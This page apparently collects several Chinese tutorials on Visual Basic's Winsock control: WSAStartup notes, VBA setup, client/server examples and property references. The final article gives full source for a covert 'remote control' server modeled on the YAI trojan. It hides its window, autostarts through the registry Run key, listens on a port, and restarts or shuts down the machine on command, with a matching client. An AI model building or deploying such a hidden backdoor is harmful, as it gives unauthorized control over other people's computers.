VB中Winsock控件的使用

合集下载

VB网络编程--WinSock控件及WinSockAPI

VB网络编程--WinSock控件及WinSockAPI

初始化1.1版本
lngRetVal = WSAStartup(&H101, udtWinsockData)
初始化2.2版本
lngRetVal = WSAStartup(&H202, udtWinsockData)
第二个参数是WSADATA 的数据结构 ,它是接收Windows Sockets 执行时的数据。
iMaxSockets 表示同时打开的socket最大数,为0表示没有限制。
iMaxUdpDg 表示同时打开的数据报最大数,为0表示没有限制。
lpVendorInfo 厂商指定信息预留
在Winsock的1.1和2.2版本中没有lpVendorInfo的返回值。因为winsock 2支持多个传输协议,所以iMaxSockets 和iMaxUdpDg只能在仅支持TCP/TP的winsock1.1中使用。为了在Winsock 2中获得这些值,你可以使用WSAEnumProtocols 函数。
如果成功或者返回一个错误代码,则函数返回 0。
错误代码 含义
WSASYSNOTREADY 指出网络没有为传输准备好。
WSAVERNOTSUPPORTED 当前的WinSock实现不支持应用程序指定的Windows Sockets规范版本
b.SocketHandle属性
SocketHandle返回当前socket连接的句柄,这是只读属性。
c.RemoteHostIP属性
RemoteHostIP属性返回远程计算机的IP地址。在客户端,当使用了控件的Connect方法后,远程计算机的IP地址就赋给了RemoteHostIP属性,而在服务器端,当ConnectRequest事件后,远程计算机(客户端)的IP地址就赋给了这个属性。如果使用的是UDP协议那么当DataArrival事件后,发送UDP报文的计算机的IP才赋给了这个属性。

在VBA中调用winsock控件

在VBA中调用winsock控件

在VBA中调⽤winsock控件如果系统没有Winsock控件的话,可以下载下⾯的控件MSWINSCK.OCX,然后将该⽂件复制到C:\Windows\System32⽬录下。

在VBE窗⼝中,从菜单“⼯具”->“引⽤”中,点击“浏览”按钮,选择MSWinSCK.ocx⽂件,再从“⼯具箱”的“附加控件”中选择Microsoft Winsock Control。

此时使⽤Winsock控件的话,将会出现提⽰不安全的ActiveX控件的提⽰。

可以点击同时下载的REG⽂件注册该控件即可。

(48.41 KB, 下载次数: 495)⼀般在Excel的窗体中添加Winsock控件。

使⽤Winsock控件的应⽤程序⼀般是Client/Server结构,也就是客户端/服务器端。

以服务端为例,⼀般的步骤是:先设置LocalPort本地端⼝,然后使⽤Listen⽅法侦听数据请求。

然后处理ConnectionRequest和DataArrival事件。

使⽤完后使⽤Close⽅法关闭连接。

Private Sub UserForm_Initialize()Winsock1.LocalPort = 1999Winsock1.ListenEnd SubPrivate Sub UserForm_Terminate()Winsock1.CloseEnd SubPrivate Sub Winsock1_ConnectionRequest(ByVal requestID As Long)If Winsock1.State <> sckClosed Then Winsock1.CloseWinsock1.Accept requestIDEnd SubPrivate Sub Winsock1_DataArrival(ByVal bytesTotal As Long)Dim Buffer() As ByteTransferedBytes = TransferedBytes + bytesTotalReDim Buffer(bytesTotal - 1)Winsock1.GetData Buffer, vbArray + vbByteEnd SubPrivate Sub Winsock1_Error(ByVal Number As Integer, Description As String, ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpContext As Long, CancelDisplay As Boolean)Debug.Print "Sock Err:" & DescriptionEnd Sub⽽客户端的⼀般步骤如下:设置远程服务器端⼝RemotePort属性,然后使⽤Connect⽅法连接。

vb中winsock简单实例

vb中winsock简单实例

VB中Winsock简单实例Winsock是Visual Basic(VB)中用于创建网络应用程序的组件。

它提供了一种简单的方法来实现网络通信,并允许应用程序通过TCP/IP协议与远程主机进行通信。

本文将介绍如何在VB中使用Winsock组件创建一个简单的网络应用程序。

什么是Winsock?Winsock(Windows Sockets)是一套用于在Windows操作系统上进行网络通信的API。

它提供了一种标准的接口,使开发人员可以使用各种网络协议(如TCP/IP)进行通信。

在VB中,Winsock组件是对Winsock API的封装,使开发人员可以轻松地在VB应用程序中实现网络通信功能。

Winsock组件的使用要在VB中使用Winsock组件,首先需要在项目中添加对Microsoft Winsock Control的引用。

在VB的工具箱中,可以找到Winsock控件并将其拖放到窗体上。

Winsock控件具有许多属性和方法,用于配置和控制网络通信。

以下是一些常用的属性和方法:属性•LocalHost:表示本地主机的IP地址。

•LocalPort:表示本地主机的端口号。

•RemoteHost:表示远程主机的IP地址。

•RemotePort:表示远程主机的端口号。

•Protocol:表示要使用的网络协议。

方法•Connect:与远程主机建立连接。

•SendData:发送数据到远程主机。

•GetData:从远程主机接收数据。

•Close:关闭与远程主机的连接。

Winsock简单实例下面是一个简单的VB程序示例,演示了如何使用Winsock组件进行网络通信。

该程序将作为客户端与远程服务器建立连接,并发送和接收数据。

Private Sub Form_Load()' 设置本地主机和端口Winsock1.LocalPort = 1234Winsock1.LocalHost = "127.0.0.1"End SubPrivate Sub ConnectButton_Click()' 设置远程主机和端口Winsock1.RemoteHost = "192.168.0.1"Winsock1.RemotePort = 5678' 建立连接Winsock1.ConnectEnd SubPrivate Sub SendButton_Click()' 发送数据到远程主机Winsock1.SendData "Hello, Server!"End SubPrivate Sub Winsock1_DataArrival(ByVal bytesTotal As Long)Dim receivedData As String' 接收数据Winsock1.GetData receivedData' 处理接收到的数据MsgBox "Received: " & receivedDataEnd SubPrivate Sub DisconnectButton_Click()' 关闭连接Winsock1.CloseEnd Sub在上面的示例中,我们首先在Form_Load事件中设置了本地主机和端口。

利用Winsock控件实现局域网通信

利用Winsock控件实现局域网通信

利用Winsock控件实现局域网通信Winsock控件是操作系统Windows提供的一种API,用于实现应用程序之间的网络通信。

利用Winsock控件,我们可以轻松地实现局域网通信,实现不同电脑之间的数据交互和消息传递。

在本文中,我们将介绍利用Winsock控件实现局域网通信的方法和步骤。

首先,我们需要在Visual Basic中引用Winsock控件。

在VB界面中,选择“工具箱”栏目,然后右键单击空白处,选择“组件”菜单。

在弹出的“组件”对话框中,找到Winsock控件,并勾选选择框。

其次,在VB界面中添加Winsock控件,然后设置相关参数。

具体步骤如下:1. 选择“工具箱”栏目,找到Winsock控件,将其拖拽到VB界面中。

2. 右键单击Winsock控件,选择“属性”菜单,设置控件的名称、端口号、IP地址等参数。

3. 创建“发送”和“接收”按钮,分别用于发送和接收消息。

4. 在发送按钮的单击事件中,利用Winsock控件的SendData方法,将数据发送到指定的IP地址和端口号。

5. 在接收按钮的单击事件中,利用Winsock控件的GetData方法,接收其他电脑发来的消息。

以上步骤完成后,就可以利用Winsock控件实现局域网通信了。

当一个电脑发送消息时,其他电脑就会收到该消息,并进行相应的处理。

利用这种方法,我们可以实现多台电脑之间的实时数据交换和消息传递,提高工作效率和协同处理能力。

总之,利用Winsock控件实现局域网通信是一种方便、快捷、高效的方法,可以实现不同电脑之间的数据交互和消息传递。

在实际开发中,我们可以根据具体需求和实际情况进行相应的调整和优化,提高系统的性能和稳定性。

VBWinsock控件的使用与介绍

VBWinsock控件的使用与介绍

VB Winsock 控件的使用与介绍第一节: Winsock 控件的介绍Winsock 控件的作用简单说就是可以用于两台或多台机器间通信,这里不多说这个控件的作用了,因为在以后的介绍中我们会了解到这个控件的强大功能的,如可以用来做聊天软件等废话不多说,来看看他有些什么重要的属性、方法和事件吧!在 VB6.0 中的工具箱里默认情况下是没有这个控件的,添加方法如下:在工具箱上右击,选择 [部件 ],然后在部件对话框中选择 "MicrosoftWinsock Control6.0",后确定即可。

如果没有这个复选框的话,请点击 [浏览]按钮后在打开的 [添加 ActiveX 控件 ]对话框选择MSWINSCK.ocx 后选择打开,再点确定即可。

Winsock 控件在工具箱中图标为。

Winsck 的主要属性:属性名说明 BytesReceived返回接收的数据,可以用GetData 方法来获取它LocalHostName返回本机名LocalIP返回本机 IPLocalPort返回或设置本机所用的端口,如果为0 则为随机产生Protocol返回通信所用的协议RemoteHostName返回通信对方的计算机名RemoteHostIP返回通信对方的IPState返回 Winscok 的当前状态,取值如下sckClosed (常量为 0):关闭状态sckOpen (常量为 1):打开状态sckListening (常量为2):侦听状态sckConnectionPending (常量为3):连接状态sckResolvingHost (常量为4):解析主机中sckHostResolved (常量为 5):已解析主机sckConnecting (常量为6):正在连接sckConnected (常量为 7):已经连接sckClosing (常量为8):客户端正在关闭sckError (常量为9):连接发生错误。

VBWinsock控件的使用与介绍

VBWinsock控件的使用与介绍
End Sub
Private Sub cmdSend_Click() wskClient.SendData txtMessage.Text ' txtContent.Text = vbCrLf & txtContent.Text & " " & txtMessage.Text ' txtContent.Text=""
HTTP 80 FTP 21
Web
Web
Web 124
Form_Load
124
Private Sub Form_Load() wskServer.LocalPort = 124 wskServer.Listen
End Sub
wskServer ConnectionRequest
Private Sub wskServer_ConnectionRequest(ByVal requestID As Long) If wskServer.State <> sckClosed Then wskServer.Close End If wskServer.Accept requestID
End Sub Winsock Connect
Private Sub wskServer_ConnectionRequest(ByVal requestID As Long) If wskServer.State <> sckClosed Then wskServer.Close ' wskServer.Accept requestID ' 4 ConnectionRequest Accept End If
Private Sub cmdConnect_Click() Dim IP As String IP = InputBox(" IP", " IP", "127.0.0.1") ' IP wskClient.RemoteHost =P wskClient.RemotePort = 1024 '2 RemotePort wskClient.Connect '3 Connect cmdConnect.Enabled = False

Winsock控件基础(VB6.0)

Winsock控件基础(VB6.0)

Winsock控件基础(VB6.0)Winsock控件基础(VB6.0)1.Winsock控件基础Winsock控件在程序设计时,看不到这个控件显现在执行的窗体之中,但是它可以提供有关网络通讯方面的程序设计依据。

此外,在这个控件的使用上,您可以非常容易地要求控件为您调用TCP或是UDP网络服务的功能。

因此,当您在编写有关住从式架构的应用程序时,您可以不需要了解TCP 通讯协议或是低级的Winsock api调用方式。

通常,以笔者的经验,除了必须与标准通讯协议进行互动外,仅仅是进行一般性相互通讯、交换数据时,Winsock控件可以满足您的要求。

因此您可以非常容易地通过属性的设置以及控制方法的调用,与远程的设备进行连接并且相互交换信息。

关于这些应用方面以及调用方式,笔者将在接下的探索中,慢慢地研究Winsock的应用方式。

1-1TCP基础不论是在Internet或是Internet网络之中,以目前流行的趋势,多半都会使用TCP协议来进行远程设备的连接。

TCP 协议的全名为“传输控制协议(transfer control protocol)”,这是一种在Internet上使用的主要协议,例如http,ftp,smtp 等,都是属于这个中面向连接的协议。

因此,当您使用TCP 协议连接两个网络上的设备时,将可以在它们之间交换希望交换的数据。

同时,如果您开发的应用程序属于主从式应用架构(或是n-tear(多层次))应用系统时,将必须要知道应用系统主机的ip地址(利用RemoteHost属于取得)以及连接端口号(利用remoteport属于取得)。

在这些数据完全备齐之后,您才可以进行进一步的调用、连接。

因此,如果正在建立主机端应用程序时,必须指定本机,必须指定本机(执行应用程序所在的计算机)所用的连接端口号(localport属于),接着将Winsock控件设置为“监听(listen)”,即可等候远程客户端进行调用与连接。

vb mswinsock注册方法

vb mswinsock注册方法

vb mswinsock注册方法Mswinsock控件是VB语言中的一个重要组件,它提供了与网络通信相关的功能。

通过使用Mswinsock控件,我们可以实现与其他计算机的网络通信,例如发送和接收数据等。

要使用Mswinsock控件进行注册,首先需要在VB项目中添加Mswinsock控件。

在VB的工具箱中,可以找到Mswinsock控件,并将其拖放到窗体上。

接下来,需要对Mswinsock控件进行一些设置。

在控件的属性窗口中,可以设置Mswinsock控件的一些属性,例如协议类型、监听端口、远程主机IP地址等。

根据实际需求,可以根据需要进行设置。

需要注意的是,IP地址必须是有效的IP地址。

注册的第一步是创建一个Socket对象,用于与远程主机进行通信。

可以使用以下代码创建一个Socket对象:Dim WithEvents Socket1 As MSWinsockLib.Winsock接下来,可以使用以下代码进行Socket对象的初始化:Set Socket1 = New MSWinsockLib.Winsock在Socket对象初始化完成后,可以通过设置Socket对象的属性来进行注册。

例如,可以使用以下代码设置Socket对象的协议类型为TCP:Socket1.Protocol = MSWinsockLib.ProtocolConstants.sckTCPProtocol然后,可以使用以下代码设置Socket对象的监听端口:Socket1.LocalPort = 8888接下来,可以使用以下代码设置Socket对象的远程主机IP地址:Socket1.RemoteHost = "192.168.0.1"在完成以上设置后,可以使用以下代码启动Socket对象的监听:Socket1.Listen通过以上步骤,就可以成功注册Mswinsock控件,并开始进行网络通信。

在实际使用中,可能还需要编写相应的事件处理程序,以处理接收到的数据或其他操作。

  1. 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
  2. 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
  3. 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。

VB中Winsock控件的使用--------------------------------------------------------------------------------前一段时间,一个名叫Y AI的‘病毒’在我国闹的沸沸扬扬,许多不明真相的人对他感到神秘莫测,可是究其实质无非也就是一个远程控制软件罢了,只不过他的服务器端程序隐藏的十分好而已。

其实在VB5中有一个基于TCP\IP协议的Winsock控件,利用他改改属性,写几段代码,我们同样可以来一回Y AI.由于篇幅所限,在这里我们只来看看对远程计算机的重启,关闭功能室如何实现的。

打开VB5后,在工具箱中并不能看到Winsock控件,通过鼠标右键单击工具箱点“部件”,再将“Microsoft Winsock Control 5.0”选中确定后,就可以将Winsock控件添加到工具箱中了。

远程控制功能是基于客户机/服务器这一模型来实现的,所以程序的编制也应分两部分进行:一部分是服务器端--也就是被控制的一方,另一部分是客户端--控制方。

服务器程序要守侯在一个固定或不固定的网址(IP)上等待客户程序的请求;客户程序则向服务器程序所在的网址请求连接,连接成功后通过交换信息即可得到相应的服务。

因此设置Winsock属性时,服务器端应设置LocalPort和应用Listen方法进行监听,客户程序则要设置RemoteHost 和RemotePort及应用Connect方法请求连接,并用Senddata方法互换信息。

下面是Winsock 控件的相关属性,方法和事件。

(略去一些暂用不到的)*属性-------------------------------------------------------------------------LocalHostName | 本地机器名LocalIP | 本地机器IP地址LocalPort | 本地机器通信程序的端口(0<端口<65536)RemoteHost | 远程机器名RemotePort | 远程机器的通信程序端口state | 连接的当前状态(文后有详细说明)Protocal | 使用TCP或UDP协议(这里我们选‘0-sckTCPProtocal’)--------------------------------------------------------------------------*方法--------------------------------------------------------------------------ListenListen方法用于服务器程序,等待客户访问。

格式:Winsock对象.listenConnectConnect方法用于向远程主机发出连接请求格式:Winsock对象.connect [远程主机IP,远程端口]AcceptAccept方法用于接受一个连接请求格式:Winsock对象.accept Request IDSenddata此方法用于发送数据格式:Winsock对象.senddata 数据Getdata用来取得接收到的数据格式:Winsock对象.getdata 变量[,数据类型[,最大长度]]Close关闭当前连接格式:Winsock对象.close*事件----------------------------------------------------------------------------Close | 远程机器关闭连接时触发Connect | 连接建立好,可以进行通信时触发(客户端)ConnectRequest | 有请求连接到达时产生(服务器端)DataArrival | 有数据到达时触发Error | 发生错误时发生SendProgress | 数据传送进度-----------------------------------------------------------------------------程序代码如下:--》服务器端程序(server.exe)先在窗体中放置Winsock控件(他在运行时是看不见的),属性采用默认值,再设置Form1的属性ShowInTaskBar为False,Visible为False(这样才有隐蔽性嘛).对于程序的自启动可手工在注册表“HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run”中增加键值"winserver"="c:\\windows\\server.exe"或配置文件Win.ini的Load,run写入"C:\windows\server.exe"来达到目的。

当然也可通过在VB5中调用API函数来实现对注册表的写入,这就更方便了,不过由于实现过程较复杂,就不在这里说了.Private Sub Form_Load()On Error GoTo skip 注释:如此端口已有通信程序则退出Winsock1.LocalPort = 1334 注释:端口值应大于1024,如还有冲突可改为其他值Winsock1.ListenExit Subskip:If Err.Number = 10048 ThenMsgBox "端口冲突,退出!", vbOKOnly, "注意!"EndEnd IfEnd SubPrivate Sub Winsock1_Close()If Winsock1.State <> sckClosed Then Winsock1.CloseWinsock1.Listen 注释:关闭连接后继续监听End SubPrivate Sub Winsock1_ConnectionRequest(ByVal requestID As Long)If Winsock1.State <> sckClosed Then Winsock1.CloseWinsock1.Accept requestID 注释:请求到达时,接受连接End SubPrivate Sub Winsock1_DataArrival(ByVal bytesTotal As Long)Dim strget As StringDim ccom As StringWinsock1.GetData strget 注释:读取到达的数据Select Case strgetCase "a" 注释:判断到达的数据是否‘a’,是则重启,你也可自己定义(协议就是这样产生的)ccom = curr_win() + "\RUNDLL.EXE user.exe,exitwindowsexec" 注释:不同机器设置不一样Call Shell(ccom, vbHide) 注释:由函数curr_win()来判断Case "b" 注释:如为‘b’则关闭计算机ccom = curr_win() + "\RUNDLL.EXE user.exe,exitwindows"Call Shell(ccom, vbHide) 注释:函数shell来执行命令Case Else 注释:可以在此加入其他命令End SelectEnd SubFunction curr_win() As StringDim i As IntegerDim enstr As Stringi = 1 注释:此函数通过读取环境变量来获得Windows目录enstr = Environ(i)Do While enstr <> ""If Len(enstr) > 11 ThenIf Left(enstr, 11) = "winbootdir=" Thencurr_win = Right(enstr, Len(enstr) - 11)Exit DoEnd IfEnd Ifi = i + 1enstr = Environ(i)LoopEnd FunctionPrivate Sub Winsock1_Error(ByVal Number As Integer, Description As String, ByValScode As Long, ByVal Source As String, ByVal HelpFile As String,ByVal HelpContext As Long, CancelDisplay As Boolean)MsgBox "错误", vbOKOnly, "注意!" 注释:如程序出现错误,则简单的退出EndEnd Sub--》客户端程序(Client.exe)程序界面如图[control.jpg]防入四个命令按钮,一个标题框,一个Winsock控件,其属性设置如下:------------------------------------------------------------------------- -控件名| 控件类| 属性| 属性值----------------------------------------------------------------------------closewin_but | commandbutton | caption | 远程关闭startwin_but | commandbutton | caption | 远程重启connect_but | commandbutton | caption | 连接exit_but | commandbutton | caption | 退出state_lab | label | borderstyle | 1-----------------------------------------------------------------------------代码如下:Private Sub Form_Load()Winsock1.LocalPort = 22226 注释:本地端口可任选,只要不冲突且小于65535,用注释:netstat -an命令可查看当前通信进程Winsock1.RemoteHost = "127.0.0.1" 注释:调试时此IP将对本机操作,实际应用时可注释:换上被控方IPWinsock1.RemotePort = 1334 注释:对应服务器端的localportstate_lab = "未建立连接."End SubPrivate Sub closewin_but_Click()If Winsock1.State <> sckConnected Thenstate_lab = "请先建立连接"ElseWinsock1.SendData "b" 注释:发出关闭命令End IfEnd SubPrivate Sub startwin_but_Click()If Winsock1.State <> sckConnected Thenstate_lab = "请先建立连接"ElseWinsock1.SendData "a" 注释:发出重启命令End IfEnd SubPrivate Sub connect_but_Click()On Error GoTo skipIf Winsock1.State = sckConnected Thenstate_lab = "已建立连接了"ElseWinsock1.ConnectEnd IfExit Subskip: 注释:用netstat命令看到状态为Time_wait则If Err.Number = 10048 Then 注释:须等待一段时间才可连接,也可换另一注释:端口,可加快连接速度MsgBox "端口正在使用,请稍后再试!", vbOKOnly, "注意!"EndEnd IfEnd SubPrivate Sub exit_but_Click()Winsock1.Close 注释:关闭连接且退出EndEnd SubPrivate Sub Winsock1_Connect()state_lab = "建立连接成功!可发送命令."End SubPrivate Sub Winsock1_Error(ByVal Number As Integer, Description As String,ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String,ByVal HelpContext As Long, CancelDisplay As Boolean)MsgBox "错误", vbOKOnly, "注意!"EndEnd Sub通过上面的例子,我们大概了解了远程控制的原理,对于其他功能的实现应该不难了。

相关文档
最新文档